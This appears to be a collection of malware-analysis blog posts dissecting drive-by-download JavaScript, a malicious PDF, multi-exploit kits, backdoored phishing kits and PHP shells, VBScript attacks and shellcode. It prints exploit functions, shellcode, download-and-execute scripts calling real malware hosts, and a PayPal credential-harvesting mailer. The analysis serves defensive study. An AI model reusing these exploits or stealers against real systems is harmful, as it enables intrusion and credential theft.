This code determines whether an attack has already been launched, by checking the jquery_data variable and the miek cookie. If not, it deobfuscates a long string and writes it in the current page. The deobfuscated string creates a new script tag which points at hxxp://94.247.2.195/news/?id= The value of the id parameter in the script URL is 100 if the codename of the browser starts with the letter M (e.g., Firefox and Internet Explorer), 101 in all other cases. This page, in turn, attempts to launch a number of exploits (see the Wepawet report). The exploits target vulnerabilities in MDAC, PDF, and SWF.

It's certainly true: thing are not always what they seem...


Malicious PDFs

Lately, malicious PDFs are becoming more popular. They generally abuse the JavaScript functionality that Adobe added to the PDF specification. Luckily, it is not too difficult to analyze these files, since, as we will see, they use pretty much the same techniques that are used in malicious JavaScript code. I'll use as an example the us.pdf file, which was used in a drive-by exploit attack hosted on 78.157.142.122.

PDFs are generally compressed, so the first step is to uncompress the file. To do this, I generally use the nice pdftk tool:

pdftk us.pdf output us.clear.pdf uncompress

Now, if you open us.clear.pdf, the JavaScript code is nicely readable inside one of the objects defined by the document:

function re(count,what) 
  var v = "";
  while (--count >= 0) v += what;
  return v;
} 
function start() {
var sc = unescape(
  "%u9090%u9090%u9090%u9090%ueb90%u5e1a%u5b56%u068a" +
  "%u303c%u1674%ue0c0%u4604%u268a%ue480%u020f%u88c4" +
  "%u4303%ueb46%ue8e9%uffe1%uffff%u585e%u5c51%u5050" +
  ...
  "%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
  "%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090" +
  "%u9090%u9090%u9090%u9090%u9090");
if (app.viewerVersion >= 7.0) {
  plin = re(1124,unescape("%u0b0b%u0028%u06eb%u06eb")) + 
    unescape("%u0b0b%u0028%u0aeb%u0aeb") + 
    unescape("%u9090%u9090") + 
    re(122,unescape("%u0b0b%u0028%u06eb%u06eb")) + 
    sc + 
    re(1256,unescape("%u4141%u4141"));
} 
else 
{
  ef6 =  unescape("%uf6eb%uf6eb") + unescape("%u0b0b%u0019");
  plin = re(80,unescape("%u9090%u9090")) + 
    sc + 
    re(80,unescape("%u9090%u9090"))+ 
    unescape("%ue7e9%ufff9")+
    unescape("%uffff%uffff") + 
    unescape("%uf6eb%uf4eb") + 
    unescape("%uf2eb%uf1eb");
  while ((plin.length % 8) != 0)
    plin = unescape("%u4141") + plin;
  plin += re(2626,ef6);
}
if (app.viewerVersion >= 6.0)
{
  this.collabStore = Collab.collectEmailInfo({subj: "",msg: plin});
}
}
var shaft = app.setTimeOut("start()",2000);

The code exploits a vulnerability in the collectEmailInfo method of the Collab object (CVE-2007-5659). The shellcode used in the attack downloads an executable file from the same site. Anubis has some interesting details on the behavior of this executable.

Another interesting thing to note is that PDF files can contain quite a few features and behaviors that may surprise and catch off-guard the attackers. Make sure to read Didier Stevens' post on how he used the incremental updates feature to reconstruct how the malicious file was created.


18, 25 exploits: who gives more? Oh, and 2 bugs.

Just a couple of weeks ago I was thinking that 17 exploits in one JavaScript attack were many. Well, it isn't so. I've recently stumbled upon a couple of pages that contain 18 and 25 different exploits. The domains that host the pages are, respectively, google-analistyc.net and 85.17.166.230.

if (
   office() ||
   dl() ||
   pdf() ||
   wme() ||
   ya1() ||
   ya2() ||
   fb() ||
   mdss() ||
   creative() ||
   wks() ||
   ogame() ||
   ca() ||
   buddy() ||
   gomweb() ||
   xmlcore() ||
   quick() ||
   real() ||
   ntaudio()
   ) {}

Here are the exploits we haven't already seen:

The second page has 25 exploits:

if (
   mdac() ||
   dl() ||
       flash() ||
   pdf() ||
   wme() ||
   wfi() ||
   com() ||
   ya1() ||
   ya2() ||
   fb() ||
   mdss() ||
   cr1() ||
   cr2() ||
   cr3() ||
   cr4() ||
           creative() ||
   wks() ||
   ogame() ||
   ca() ||
   buddy() ||
   gomweb() ||
   xmlcore() ||
   quick() ||
   real() ||
   ntaudio()
   ) {}

Here, the "new" ones are:

Now, regarding the second part of the title: there seem to be at least two bugs in these exploit codes.

First, the function cr3 instantiates the control 07B18EAB-A523-4961-B6BB-170DE4475CCA and then sets the property ShortFormat. This property doesn't seem to exist. ShortFormat is, instead, the attack vector for the exploit against the Ask Toolbar (included in the cr2 function). It's probably a case of wrong copy-and-paste.

function cr3() {
try {
  var obj = null;
  obj=cobj("{07B18EAB-A523-4961-B6BB-170DE4475CCA}");
  if(obj) {
    ms2();
    arg1 = unescape("\x0c");
    while(arg1.length<0x200) arg1+=unescape("\x0c");
    obj.ShortFormat = arg1;
  }   
} catch(e) {}
return 0;
}

Second, and this is present in both pages, the mdss function gets wrong its memory allocation. In fact, it creates a string (in the buf variable) and doubles its length in a loop that should execute 9999 times. Of course, this doesn't bode well: the machine will likely lock up before the offending process goes out of memory and, finally, gets killed.

function mdss(){
  try {
    var obj=null;
    obj=cobj("{EEE78591-FE22-11D0-8BEF-0060081841DE}");
    if(obj){
      ms();
      var buf = addr(0x0c0c0c0c);
      for (i=1;i<=9999;i++)
      buf += buf;
      EngineID="default";
      ...

Interestingly, the original milw0rm exploit did the right thing:

var buf = unescape("%u4141"); 
while (buf.length <= 261) buf = buf + unescape("%u4141");

Probably, another case of wrong copy-and-paste...


17 exploits and some Feng Shui

It is quite common for malicious JavaScript pages to package more than one exploit together and attempt to run all of them against the victim browser. But, what about 17 different exploits in the same script?

<html><body><script>function v8P6GEVcq(cD5Q2LVDZD9t){
  return String["from"+"Char"+"Code"](cD5Q2LVDZD9t);
}  
function sK5tVpH6uQTNjz(VqiKaGXn){
  var vjHVVi9s=0,EFWwHQWBlb=VqiKaGXn.length,lQMLLno=1024,
    CoZtfIDFYl,LIIVFZwmlhNqxo,W018sXwS="",ykerJQuIiCo=vjHVVi9s,
    gkkYR9OOwch6=vjHVVi9s,qyBlQcNBGEVh0=vjHVVi9s,
    OLcO9M0gn=Array(63,12,30,11,6,32,31,53,34,47,0,0,0,0,0,0,57,50,49,
      17,55,1,43,44,20,5,39,46,58,9,41,59,62,36,29,14,27,15,8,7,4,37,35,
      0,0,0,0,22,0,28,16,19,3,2,40,51,61,42,52,13,33,45,48,10,38,54,
      56,0,26,21,24,60,18,23,25);
  for(LIIVFZwmlhNqxo=Math.ceil(EFWwHQWBlb/lQMLLno);
    LIIVFZwmlhNqxo>vjHVVi9s; LIIVFZwmlhNqxo--) 
  {
    for(eval("CoZtfIDFYl=Ma"+"th.m"+"in(EFWwHQWBlb,lQMLLno)");
      CoZtfIDFYl>vjHVVi9s; CoZtfIDFYl--,EFWwHQWBlb--) 
    {
      qyBlQcNBGEVh0|=(OLcO9M0gn[VqiKaGXn.charCodeAt(ykerJQuIiCo++)-48])<<gkkYR9OOwch6;
      if(gkkYR9OOwch6) {
        W018sXwS+=v8P6GEVcq(149^qyBlQcNBGEVh0&255);
        qyBlQcNBGEVh0>>=8;
        gkkYR9OOwch6-=2;
      } else{
        gkkYR9OOwch6=6;
      }
    }
  }
  return (W018sXwS);
}
var QCDhu="6AMJaSShJy3rJJUiDq6rlyPFLi3fGK3NJeLKJ2oFOooNLe6OLoiK@
  ... 
  AzmNJ2mBc0PwD396AMJaAM97LSL6AMJae";
eval(sK5tVpH6uQTNjz(QCDhu));
</script></body></html>

After the initial deobfuscation step (nothing too fancy here, this time), the actual code is available in the clear. Two surprises here. First, as I said, there are 17 exploits:

if (
    mdac() ||
    office() ||
    dl() ||
    pdf() ||
    wfi() ||
    com() ||
    creative() ||
    wks() ||
    ogame() ||
    ca() ||
    buddy() ||
    gomweb() ||
    xmlcore() ||
    quick() ||
    real() ||
    ntaudio()
     || dani()
    ) {}

The exploits are targeting:

  1. MDAC vulnerability (CVE-2006-0003) and similar. The list of affected classids is suspiciously identical to the corresponding milw0rm's exploit.
  2. WebViewFolder setSlice vulnerability (CVE-2006-3730).
  3. CreateControlRange vulnerability (CVE-2005-0055).
  4. DirectAnimation PathControl vulnerability (CVE-2006-4777).
  5. Snapshot Viewer vulnerability (CVE-2008-2463). Thirteen different Windows versions (languages) are supported.
  6. Sina Downloader.DLoader.1 vulnerability (BID-30223).
  7. WksPictureInterface vulnerability (CVE-2008-2898).
  8. Ourgame IEStartNative vulnerability (SA-30469).
  9. CA AddColumn vulnerability (BID-28268).
  10. SuperBuddy LinkSBIcons vulnerability (CVE-2006-5820).
  11. GomPlayer OpenURL vulnerability (CVE-2007-5779).
  12. XMLHTTP setRequestHeader vulnerability (CVE-2006-5745).
  13. QuickTime RTSP vulnerability (CVE-2007-6166).
  14. RealPlayer Console vulnerability (CVE-2008-1309).
  15. NCTAudioFile2 SetFormatLikeSample vulnerability (CVE-2007-0018).
  16. Creative CacheFolder vulnerability (CVE-2008-0955).
  17. collab.CollabEmailInfo vulnerability (CVE-2007-5659 or CVE-2008-0655).

Second, the code doesn't use the usual heap spraying technique, but an adaptation of the Heap Feng Shui technique by Alex Sotirov. For example, the exploit for the DirectAnimation vulnerability is:

function dani() {
    try{
        obj=cobj("DirectAnimation.PathControl");
        if(obj){
            ms();
            init();
            var jmpecx = 0x0c0c0c0c;
            var vtable = addr(0x7ceb9090);
            for (var i = 0; i < 124/4; i++) 
                vtable += addr(jmpecx);
            vtable += padding.substr(0, (1008-138)/2);
            var fakeObjPtr = heapBase + 0x688 + ((1008+8)/8)*48;
            var fakeObjChunk = padding.substr(0, 
                (0x200c-4)/2) + addr(fakeObjPtr) + padding.substr(0, 14/2);
            CollectGarbage(); 
            flush();
            for (var i = 0; i < 100; i++)
                alloc_str(vtable);
            alloc_str(vtable, "lookaside");
            free("lookaside");
            for (var i = 0; i < 100; i++)
                alloc(0x2010);
            for (var i = 0; i < 2; i++) {
                alloc_str(fakeObjChunk);
                alloc_str(fakeObjChunk, "freeList");
            }       
            alloc_str(fakeObjChunk);
            free("freeList");
            obj.KeyFrame(0x40000801, new Array(1), new Array(1));
        }
    }catch(e){}
    return 0;
}

In all cases, the binary to be downloaded lives at http://59.125.229.71/ex/7/load.php?id=106 and is well recognized by most anti-virus

Update (10/17/08): The xplo0it Analysis blog also has a nice description of this exploit.


DOM-based obfuscation in malicious JavaScript

A few weeks ago, the good folks of Malware Domain List pointed out an interesting new obfuscation technique being used by some malicious JavaScript samples.

Here's the code of the malicious page (from reddii.ru):

<html><body><input type='text'style='display:none'id='vimamikolu2'
value='kekin1=new Array(161,244,251,239,252,240,248,189,238,239,254,
...
166,144,151,161,178,238,254,239,244,237,233,163);'/>
<script>votot=function(str){document.write(str);};
dotemerape7=new String();
lifum=Math.round(-80.131*Math.SQRT1_2-16.601*Math.LOG2E+342.801*Math.LN2);
eval(document.getElementById('vimamikolu2').value);
for(pidum9=0;pidum9<1577;pidum9++)
    dotemerape7+=String.fromCharCode(kekin1[pidum9]^lifum);
votot(dotemerape7);
</script></body></html>

As it's typically done, this code just acts as the decoding routine for the actual exploit code, which is obfuscated. However, in this case, the obfuscated code is stored and dynamically retrieved from the HTML code surrounding the JavaScript code. More precisely, the decoding routine retrieves the value of the attribute value of the HTML element with id vimamikolu2. This string is evaluated via eval: this defines the array kekin1. Then, the code applies String.fromCharCode to each element of the array (xored with a constant value), and writes the result back to the page.

While not particularly difficult to reverse manually, this deobfuscation technique has an important consequence for deobfuscation and analysis tools: they need to have a decent implementation of the DOM model (e.g., understand the getElementById function) in order to automatically get around this kind of tricks. Incidentally, I'm working on one such tool (which handles this sample just fine) and should have something ready (and releasable) soon: check back!

The deobfuscated code reveals the usual exploit for the MDAC vulnerability and a more interesting (and recent) exploit for the Office Snapshot Viewer vulnerability (CVE-2008-2463):

function goMDAC() {
    ...
}
function goPDF() {
    wnd=window;
    while (wnd.parent!=wnd)
        wnd=wnd.parent;
    wnd.location="getfile.php?f=vispdf";
}
function goSnap() {
    var sfrom = 'http://reddii.ru/traffic/sploit1/getexe.php?h=12';
    var sto = 'c:/Documents and Settings/All Users/Start Menu/Programs/Startup/'
     +'svchost.exe';
    try {
        snapattack.SnapshotPath = sfrom;
        snapattack.CompressedPath = sto;
        snapattack.PrintSnapshot(sfrom,sto);
    } catch(e) {}
}
setTimeout('goMDAC();',3500);
setTimeout('goPDF();',5000);
goSnap();

Another interesting aspect of this exploit is that it (also) tries to download PDF files. But this is material for another post...


Obfuscated backdoor or joke?

It is very common to find web-based malware that is protected by one, two, or even three rounds of obfuscation. Obfuscation reduces the chances that anti-malware tools automatically detect the threat and slows down manual analysis.

But, what about 48 (yes, forty-eight!) layers of obfuscation? A phishing kit for PayPal found on the site for PhishTank's entry 502529 contained the following PHP code:

<?   eval(gzinflate(base64_decode('DZdHDsTWEQWv4p1lcMGcYFkCc86ZG2GY
c45zeg9P8NHNrlfv77/+/Ptf5fUZ/qi/7VQNn6P8Yz+2f7b5gNE/ss9eEtg/RZnPRfn
...
iJvAQurlJL/whtxnAqS+mV8XYRnKzb1/GZw/zd/1S/bqWwDFK3AFxPSt1LcQgUJZgdZ
QgCMpxBYIUAVL/+/d/ft9///X3X3/+/X8='))); ?>

After the first deobfuscation, one obtains:

><?   >eval(gzinflate(str_rot13(base64_decode('FZfHDoToEYRfxTevxYGc5
LVK5JwzF4schpyZp/csEhInoPvv+rrqr//++dc/qisb/nW+3UcP2UT9sR/b/7b5gNE/8
...
c8B1Fs0A/FFcVn1mGJmSUb77fTB+wxXDBv/GkFqPBSkm2N+x6LNrGy1a7ro+58z4Lfdm
iWHhsrzATBtN3mhGgyROECAIXj+XgoIggEX/+ee/fte///HXf//86/8=')))); ?><

The same technique (eval composed with gzinflate, str_rot13, and base64_decode) is used in all the remaining layers. After 48 decoding steps, the familiar phish drop/backdooring code is revealed:

<?
include 'write your mail here.txt';
include 'images/header.bmp';
$ladate=date("D M d, Y g:i a");
$ip = getenv("REMOTE_ADDR");
$message .= "--------------PayPal  Spam ReZulT-----------------------\n";
$message .= "E-Mail ID          : ".$_POST['login_email']."\n";
$message .= "Password         : ".$_POST['login_password']."\n";
$message .= "ip: $ip\n";
$message .= "Date: $ladate\n";
$message .= "---------------Created BY Dj_Amen@hotmail.fr-----------------------------\n";

$T = "$to,$iks";

$subject = "PayPal ReZuLt "; 
$headers = "From: Amen<steamhacktn@gmail.com>"; 
$headers .= $_POST['eMailAdd']."\n"; 
$headers .= "MIME-Version: 1.0\n"; 

mail($T,$subject,$message,$headers);    
header("Location: Processing.htm");

?>

The iks variable is defined in the header.bmp file and corresponds to the address amen.dj@gmail.com:

<?
$ik = "YW1lbi5kakBnbWFpbC5jb20=";
$iks = base64_decode("$ik");
?>

Backdoored PHP shells

PHP shells are tools that attackers often use to manage compromised web servers. It turns out, some of these attackers may be attacked by their own tools.

In fact, PhishTank report 505183 shows a nice example of a backdoor inserted in a PHP shell. The shell in question is a variant of the w4ck1ng shell. Each page generated by the shell contains the following script tag:

<script>
var dc=document.write;
var sc=String.fromCharCode;
var exe="http://reda-vision.com/config.exe";
var file="run.exe";
dc(sc(60,115,99,114,105,112,116,62,118,97,114,32,97,105,108,105,97,110,
44,122,104,97,110,44,99,109,100,115,115,59,97,105,108,105,97,110,61,34) + 
exe + sc(34,59,122,104,97,110,61,34) + file + sc(34,59,99,109,100,115,
115,61,34,99,109,100,46,101,120,101,34,59,116,114,121,123,118,97,114,32,
...
97,116,99,104,40,101,41,123,125,59,60,47,115,99,114,105,112,116,62));
</script>

After decoding the JavaScript code, a classic drive-by download attack is revealed:

var ailian,zhan,cmdss;
ailian="http://reda-vision.com/config.exe";
zhan="run.exe";
cmdss="cmd.exe";    
try{    
  var ado=(document.createElement("object"));
  var d=1;
  ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
  var e=1;
  var xml=ado.CreateObject("Microsoft.XMLHTTP","");
  var f=1;
  var ln="Ado";
  var lzn="db.St";
  var an="ream";
  var g=1;
  var as=ado.createobject(ln+lzn+an,"");
  var h=1;
  xml.Open("GET",ailian,0); 
  xml.Send(); 
  as.type=1;
  var n=1;
  as.open();
  as.write(xml.responseBody);
  as.savetofile(zhan,2);
  as.close();
  var shell=ado.createobject("Shell.Application","");
  shell.ShellExecute(zhan,"","","open",0);
  shell.ShellExecute(cmdss," /c del /S /Q /F "+zhan,"","open",0);
} catch(e){};

The config.exe file is detected by one third of the antivirus tools used by VirusTotal, and, according to the Anubis report, behaves like a Bifrost variant.


VBScript attack

What is VBScript used for? For web attacks, of course!

For example, flyzhu.9966.org, a domain used in the recent SQL injection campaigns (and, surprisingly, still active), offers some nice examples of malicious VBScript code. To run these samples, you can use Cscript under Windows. To dump interesting values to the console, just use the WScript.Echo function.

On flyzhu.9966.org, the first step of the attack is performed by following script:

<script language="VBScript">
Cn911="83,61,34,51,67,53,...,84,69,32,68"
Function Rechange(Q)
    S=Split(Q,",")
    Cn922=""
    For i = 0 To UBound(S)
        Cn922=Cn922&Chr(eval(S(i)))
    Next
    Rechange=Cn922
End Function
EXECUTE(Rechange(Cn911))
</script>

The actual content, in the Cn911 variable, is obfuscated by substituting each character with its ASCII encoding. Once decoded, one obtains another obfuscated script:

S="3C5363726970...6970743E"
D="Document.Write """""
C="&CHR(&H"
N=")"
DO WHILE LEN(S)>1
    IF ISNUMERIC(LEFT(S,1)) THEN
        D=D&C&LEFT(S,2)&N
        S=MID(S,3) 
    ELSE 
        D=D&C&LEFT(S,4)&N
        S=MID(S,5)
LOOP
EXECUTE D

The ASCII encoding trick is used again to obfuscate the actual content. The loop essentially reads two characters at a time from S, interprets them as a hex number, and substitutes the corresponding character in the ASCII encoding. The result is yet another obfuscated script:

Document.Write &CHR(&H3C)&CHR(&H53)...&CHR(&H70)&CHR(&H74)&CHR(&H3E)

The third round uses, again, ASCII encoding. Once deobfuscated, one obtains:

<Script Language=VBScript>
On Error Resume Next
Set Ob = Document.CreateElement("object")
Ob.SetAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
Set Pop = Ob.Createobject("Adodb.Stream","")
If Not Err.Number = 0 then
    Err.clear
    Document.write ("<embed src=flash.swf></embed>")
    Document.write ("<iFrame sRc=real.htm width=0 height=0></ifrAmE>")
    Document.write ("<iFrame sRc=new.htm width=0 height=0></ifrAmE>")
Else
    Document.write ("<iFrame sRc=help.htm width=0 height=0></ifrAmE>")
End If
</Script>

This script checks if the browser is vulnerable to the MDAC remote code execution exploit (MS06-014), and, depending on the result, loads different files. In all cases, these files attempt to exploit various vulnerabilities to download and execute a binary from http://www.tlcn.net/cert/fuckkr.exe.

In particular, the loaded files are:


Web client exploit zoo: SuperBuddy

In previous posts, I've talked about JavaScript-based attacks, which are often used, for example, in drive-by exploits. With this and some of the next posts, I'll look more in detail at the actual vulnerabilities and exploits used in these attacks. I will leave the discussion of how to make reliable exploits for another series of posts (spoiler: heap spray and similar techniques) ;-)

So, let's start with the AOL SuperBuddy exploit. SuperBuddy is an ActiveX control in America Online 9.0. Its method LinkSBIcons dereferences an arbitrary function pointer, allowing remote attackers to execute arbitrary code by modifying the pointer value. The vulnerability is cataloged as CVE-2006-5820 in the CVE database.

Here is a typical exploit (it is also available as a Metasploit exploit):

function a9_bwCED() {
    try {
        var OBGUiGAa = new ActiveXObject('Sb.SuperBuddy');
        if (OBGUiGAa) {
            Exhne69P();
            dU578_go(9);
            OBGUiGAa.LinkSBIcons(0x0c0c0c0c);
        }   
    } catch(e) { }   
    return 0;
}

The function Exhne69P sets up the shellcode and the function dU578_go sets a cookie, probably to keep statistics on the success rate of the attack. The actual exploitation occurs by invoking the LinkSBIcons method with the 0x0c0c0c0c parameter.

The vulnerable code is contained in the sb.dll library:

6398692d <LinkSBIcons>::
 6398692d:   push   %ebp
 6398692e:   mov    %esp,%ebp
 63986930:   mov    0xc(%ebp),%eax     ; eax := arg
 63986933:   test   %eax,%eax       
 63986935:   je     0x63986969         ; bail out if NULL
 63986937:   mov    (%eax),%ecx        ; ecx := *arg
 63986939:   push   %esi
 6398693a:   push   %edi
 6398693b:   mov    0x8(%ebp),%edi
 6398693e:   lea    0x30(%edi),%esi
 63986941:   push   %esi
 63986942:   push   $0x6399037c
 63986947:   push   %eax
 63986948:   call   *(%ecx)            ; call *ecx

The function gets the user-provided parameter, checks that it is not NULL, and happily uses it to make a function call. At this point, an attacker simply has to choose an appropriate value for the argument to execute arbitrary code or, less ambitiously, crash the program trying to access 0x41414141, as in the screenshot below:

SuperBuddy crashes trying to execute code at 0x41414141


Lost and found on phishing sites: exploits

After breaking into a web server, attackers often want to get higher privileges on the local machine (through local-to-root attacks) and to compromise other remote machines (remote-to-local attacks). To do that, they "need exploits, lots of exploits".

And so, it is time to talk about the exploitation tools found on phishing sites.

Screenshot of a number of exploits found on a phishing site

Sifting through the various tools, scripts, and programs abandoned on these sites offers more than one interesting finding. One can find recent exploits, such as the one attacking the vmsplice bug in 2.6.x Linux kernels; older ones targeting sendmail on Linux 2.2.x; historic ones, such as the smurf attack released in 1999; and exotic exploits, such as a local root against AIX.

Among the remote exploitation tools, vulnerability scanners are very popular. They mostly look for file injection vulnerabilities, generally using google dorks (i.e., they are search worms).

And, unsurprisingly, considering the current botnet fad, bots are also very popular. The ones I've found are traditional bots that connect to IRC channels and wait commands. Good, old, DDoS attacks seem also common, either through TCP, UDP, or HTTP.

Related posts:


Lost and found on phishing sites: mailers

This is the second installment in the series about interesting things found on web sites that are taken over to host phishing pages. This time, we talk about mailers (the first post was about PHP shells), and — little teaser — we keep a surprise for the end of the post.

So, the bad guys have just compromised a web server, uploaded a phishing kit, and deployed a perfect copy of, say, Bank of America. What's the next step? The attackers just have to attract victims to the site and hope that they will give away their credentials and other confidential information. The best way of doing it is to spam the world with emails claiming that the recipient's account has been suspended (or some other more or less plausible story) and that the situation can be solved by visiting the phishing site.

How do the phishers send the emails? If they don't want to rent a botnet, a cheap way is to use the compromised server's resources. And here is where a mailer comes useful. A mailer is a program, typically written in PHP, that has a web-based interface through which one can insert the mail's message and a list of recipients. The program then sends out the emails. Here is a screenshot of one of these mailers:

Screenshot of a mailer found on a phishing site

The mailers I've seen most frequently are Subzero, Str8 Inbox, PHP Mailer, ToXiC350 MailEr, Mailing Machine, Bulk Maileren, INBOX PHP-Mailer, Mailer All Inbox, Mass Fuckin Mailer Inbox, PHP-Mailer by Mr-Brain (a familiar name, isn't?). Furthermore, many of the PHP shells we have seen previously also offer mailer functionality.

Finally, here is one surprise I've found in one of the mailers whose source code was also left on the phishing site:

<?php
$a5 = $_SERVER['HTTP_REFERER'];
$b33 = $_SERVER['DOCUMENT_ROOT'];
$c87 = $_SERVER['REMOTE_ADDR'];
$d23 = $_SERVER['SCRIPT_FILENAME'];
$e09 = $_SERVER['SERVER_ADDR'];
$f23 = $_SERVER['SERVER_SOFTWARE'];
$g32 = $_SERVER['PATH_TRANSLATED'];
$h65 = $_SERVER['PHP_SELF'];
$message=$_POST['message'];
$msg = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";
echo eval(base64_decode("bWFpbCgiZ3JvZmlfaGFja0Bob3RtYWlsLmNvbSIsICRzdWJ
qOTgsICRtc2csICRtZXNzYWdlLCAkcmE0NCk7"));
?>

And the last string, if you don't read base64, really is:

mail("grofi_hack@hotmail.com", $subj98, $msg, $message, $ra44);

So, a little backdoor! What is a poor phisher to do? After phishing kits, one cannot even trust mailers...


Lost and found on phishing sites: PHP shells

It is not uncommon for phishing pages to be hosted on compromised web servers. When this happens, besides phishing, the web server is used for a variety of malicious activities. We have seen some time ago a case where such a site was hosting an XSS-based botnet tool.

With this post, I'll start a brief series (probably 3-4 installments in total) on the interesting things you can find on web sites that are taken over to host phishing pages. For today, the topic is PHP shells.

PHP shells are PHP scripts that allow one to execute a number of commands on a remote server through a simple web-based interface. They are used by attackers to easily manage the compromised server, install new tools, attack other sites, and so on.
Here is a screenshot of one of these shells (click on the image for a larger picture):

Screenshot of a PHP shell found on a phishing site

From what I've seen, the most commonly-used shells are C99Shell, w4ck1ng, N3tShell, Room Hacker shell, SimAttacker, Locus7s, Vop-Cr3W shell, storm7shell, Safe0ver, Enqu!nx, PHPShell, BK-Code Shell, r57shell, K-H shell, HaTeX shell, phpRemoteView, UniXShell, and BLaCkSHeLL. Of many of these shells, multiple versions exist, with changes ranging from simple modding (e.g., adding scrolling text in the header of the page saying "ccpower was here !") to the introduction of new features.

In terms of functionality, the basic commands include file system management (listing of directories, changing the attributes of files), file upload, and command execution on the server. More advanced features allow the attacker to

Some shells even have the ability to check for updates and to self-remove from the remote server. At least some people are keeping their software updated...


Storm's shellcode

The Storm group has launched a new campaign theme, based on the bogus story that World War III would be started. Incidentally, they are starting to be repetitive: they were using a very similar theme back in April 2007.

Besides the usual fake youtube video — you click on it and the download of the malicious binary starts — they are also using drive-by download techniques to infect their victims. An iframe points to the file ind.php, which attempts to perform a number of browser exploits. Nothing special here: everything is very similar to other javascript attacks.

The shellcode used by Storm is also very similar to what we have seen in the past, both functionally (download and execute a binary) and in the use of simple polymorphic techniques. However, there are some differences: one is that it doesn't store the hash values of the library functions to invoke at the end of the code. Sequences of hash values probably make for a good signature for IDS systems. Thus, this shellcode uses hash values inline (in what follows, find_function returns the address of a function, given the function's hash and the containing DLL's base address):

  00000033:   push esi                ; kernel32.dll base
  00000034:   push dword 0xec0e4e8e   ; LoadLibrary (hash)
  00000039:   call 0x13c<find_function>
  0000003E:   mov [ebp+0x4],eax
  00000041:   push esi
  00000042:   push dword 0xe8afe98    ; WinExec (hash)
  00000047:   call 0x13c<find_function>
  0000004C:   mov [ebp+0x8],eax
  0000004F:   push esi
  00000050:   push dword 0xc2ffb025   ; DeleteFileA (hash)
  00000055:   call 0x13c<find_function>
  0000005A:   mov [ebp+0xc],eax
  0000005D:   push esi
  0000005E:   push dword 0x60e0ceef   ; ExitThread (hash)
  00000063:   call 0x13c<find_function>
  00000068:   mov [ebp+0x10],eax
  0000006B:   push esi
  0000006C:   push dword 0xb8e579c1   ; GetSystemDirectoryA (hash)
  00000071:   call 0x13c<find_function>

Here is an example of how one these library functions is invoked. This is the function URLDownloadToFile from the urlmon DLL.

  000000EB:   xor ebx,ebx
  000000ED:   push ebx                ; NULL
  000000EE:   push ebx                ; NULL
  000000EF:   push dword [ebp+0x20]   ; ptr to "SYSDIR/~.exe"
  000000F2:   push eax                ; eax := addr of the URL
  000000F3:   push ebx                ; NULL
  000000F4:   mov eax,[ebp+0x1c]      ; eax := addr of URLDownloadToFile
  000000F7:   push byte +0x5
  000000F9:   pop ecx                 ; ecx := 5
  000000FA:   mov edx,[ebp+0x18]      ; edx := ptr to ret instruction
  000000FD:   call 0x125<call_lib_func>

The function that I named call_lib_func invokes the requested DLL function. It receives the number of parameters (in ecx), the function address (in eax), and the address of a ret instruction (in edx). It first sets up the stack (return address into the caller first, followed by the parameters, and the address of the ret instruction last), and then jumps to the library function's address. The weird stack manipulation is required since Win32 API functions use the __stdcall calling convention.

  00000125:   inc ecx                 ; ecx := # params + 1
  00000126:   pop ebx                 
  00000127:   push edx                
  00000128:   add esp,ecx
  0000012A:   add esp,ecx
  0000012C:   add esp,ecx
  0000012E:   add esp,ecx             ; esp points past the last parameter
fixup_stack_for_stdcall:
  00000130:   sub esp,byte +0x4
  00000133:   pop edx
  00000134:   push ebx
  00000135:   mov ebx,edx
  00000137:   loop 0x130<fixup_stack_for_stdcall>
  00000139:   push edx                ; edx points to ret instruction
  0000013A:   jmp eax                 ; eax holds address of lib function

The final effect of the shellcode is:

  1. a binary is downloaded, in the case I've analyzed, from http://activeware.cn/load.php?bof,
  2. the binary is saved on the victim's filesystem, and
  3. it's executed

Polymorphic shellcode

In web-based attacks, such as the ones employed in the recent SQL injection attacks, you have to go through three layers of JavaScript obfuscation and as many redirects before getting to the actual exploit code. And, the tricks of the attackers do not stop here.

In fact, attackers are also using polymorphic techniques to mutate the code of their shellcode and avoid detection by anti-virus and anti-malware tools.

This is the beginning of the shellcode found in one these attacks:

00000000:  E800000000        call 0x5
00000005:  5D                pop ebp
00000006:  83C514            add ebp,byte +0x14 ; ebp = 0x19
00000009:  B98D010000        mov ecx,0x18d      ; for i in range(0x18d):
0000000E:  B0A1              mov al,0xa1
00000010:  304500            xor [ebp+0x0],al   ;   [ebp] = [ebp] ^ 0xa1
00000013:  45                inc ebp            ;   ebp += 1
00000014:  49                dec ecx
00000015:  75F9              jnz 0x10
00000017:  EB00              jmp short 0x19
00000019:  3131              xor [ecx],esi
0000001B:  3131              xor [ecx],esi
0000001D:  ...

The code gets the current EIP, skips 0x14 additional bytes (the decryption instructions), and xors the remaining 0x18d bytes with the value 0xa1. After undoing the obfuscation, one obtains the same shellcode we have seen some time ago:

00000019:  90                nop
0000001A:  90                nop
0000001B:  90                nop
0000001C:  90                nop
0000001D:  90                nop
0000001E:  90                nop
0000001F:  90                nop
00000020:  90                nop
00000021:  E9FC000000        jmp 0x122
00000026:  5F                pop edi
00000027:  64A130000000      mov eax,[fs:0x30]
0000002D:  780C              js 0x3b
0000002F:  8B400C            mov eax,[eax+0xc]
00000032:  8B701C            mov esi,[eax+0x1c]
00000035:  AD                lodsd
00000036:  8B6808            mov ebp,[eax+0x8]
00000039:  EB09              jmp short 0x44
0000003B:  ...

Mapping the SQL injection campaigns

In the past few weeks, there have been a number of rounds of massive SQL injection attacks. The attacks inject a script tag in every textual column of the vulnerable databases. This script tag includes a script from a remote site, which I call the injected site. This script, usually, redirects the browser to a second script (possibly on a different site, the target site), which, finally, carries out the actual attack. These attacks are similar to the one I've described before.

For those who are interested, M. Zino has written a good description of the SQL injection mechanism, D. Danchev has an impressive list of high-profile victims of the attack, and the folks at dynamoo keep track of the malicious domains involved in the campaigns.

Collecting data about the injection campaigns is not difficult. For example, most dynamic pages store their title in a textual column in a database. If the application is vulnerable to a SQL injection attack, the injected script tag will be found (also) in the title of the page. Therefore, search queries similar to:

intitle:"<script src=http"

will reveal a large number of victims of the attack. Adding additional terms to the query will return different result sets. Since Google, Yahoo, and MSN Live offer programmatic access to their search engines, it is possible to automate the data collection process.

